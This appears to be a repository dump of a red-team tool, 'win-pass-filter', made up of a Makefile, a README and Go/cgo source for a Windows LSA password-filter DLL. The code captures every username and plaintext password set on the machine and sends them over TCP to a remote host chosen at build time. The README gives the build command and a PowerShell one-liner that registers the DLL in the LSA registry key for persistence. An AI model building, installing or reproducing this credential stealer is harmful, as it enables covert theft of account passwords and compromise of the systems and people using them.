/filter.h

.PHONY: filter.dll
filter.dll:
	rm -f filter.dll
	GOOS=windows CGO_ENABLED=1 go build -v -x -o filter.dll -buildmode=c-shared
	x86_64-w64-mingw32-objdump -p filter.dll | grep InitializeChangeNotify
	x86_64-w64-mingw32-objdump -p filter.dll | awk '/Ordinal\/Name Pointer/,/^$$/'

.PHONY: clean
clean:
	rm -f filter.h filter.o filter.dll

win-pass-filter
===============

_stolen from https://github.com/iDigitalFlame/redteam-tools_

This is a windows LSA password filter that sends the new password to an IP of
your choosing.

Build
-----

Simply build for windows with CGO enabled and the appropriate receiver listing
port.
```
GOOS=windows CGO_ENABLED=1 go build -v -x -o filter.dll -buildmode=c-shared -ldflags 'main.remote=192.168.0.100:4444'
```


Install
-------

Copy the `filter.dll` to somewhere like `c:\windows\system32\idk.dll` and
install with powershell
```
powershell -com "$a='idk';$b=(Get-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Lsa' -Name 'Notification Packages').'Notification Packages'; Set-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Lsa' -Name 'Notification Packages' -Value ""$b`r`n$a"""
```

If you change the name of the dll in `c:\windows\system32` then also update the
`$a` variable.

Reboot when finished.

package main

/*
#include <windows.h>
#include <ntsecapi.h>

CRITICAL_SECTION cs;

__declspec(dllexport) BOOL NTAPI InitializeChangeNotify(void) { return TRUE; }

__declspec(dllexport) NTSTATUS NTAPI PasswordChangeNotify(PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword) {
    EnterCriticalSection(&cs);
    HaGotEm(UserName->Length, (char*)(UserName->Buffer), NewPassword->Length, (char*)(NewPassword->Buffer));
    LeaveCriticalSection(&cs);
    return 0;
}
__declspec(dllexport) BOOL NTAPI PasswordFilter(PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password, BOOL SetOperation) {
    HaGotEm(AccountName->Length, (char*)(AccountName->Buffer), Password->Length, (char*)(Password->Buffer));
    return TRUE;
}
*/
import "C"

package main

////// #cgo LDFLAGS: -lwinmm
import "C"

import (
	"fmt"
	"net"
	"os"
	"time"
)

func getIPAddress() string {
	i, err := net.Interfaces()
	if err != nil {
		return "<nil>"
	}
	for _, a := range i {
		if a.Flags&net.FlagUp == 0 || a.Flags&net.FlagLoopback != 0 {
			continue
		}
		if n, err := a.Addrs(); err == nil {
			for _, ad := range n {
				var r net.IP
				switch ad.(type) {
				case *net.IPNet:
					r = ad.(*net.IPNet).IP
				case *net.IPAddr:
					r = ad.(*net.IPAddr).IP
				default:
					continue
				}
				if r.IsLoopback() || r.IsUnspecified() || r.IsMulticast() || r.IsInterfaceLocalMulticast() || r.IsLinkLocalMulticast() || r.IsLinkLocalUnicast() {
					continue
				}
				if p := r.To4(); p != nil {
					return p.String()
				}
				return r.String()
			}
		} else {
			return "<nil>"
		}
	}
	return "<nil>"
}

var remote = "127.0.0.1:4444"

//export HaGotEm
func HaGotEm(l C.int, u *C.char, n C.int, p *C.char) C.int {
	a := []byte(C.GoStringN(u, l))
	y := []byte(C.GoStringN(p, n))
	e := make([]rune, l/2)
	k := make([]rune, n/2)
	for i := 0; i < len(a); i += 2 {
		e[i/2] = rune(a[i])
	}
	for i := 0; i < len(y); i += 2 {
		k[i/2] = rune(y[i])
	}
	h, err := os.Hostname()
	if err != nil {
		h = ""
	}
	x, err := net.DialTimeout("tcp", remote, time.Duration(5*time.Second))
	if err != nil {
		return C.int(-1)
	}
	defer x.Close()
	d := []byte(fmt.Sprintf("[%s:(%s)%s:%s]\n", h, getIPAddress(), string(e), string(k)))
	if _, err := x.Write(d); err != nil {
		return C.int(-1)
	}
	x.Close()
	return C.int(0)
}

func main() {}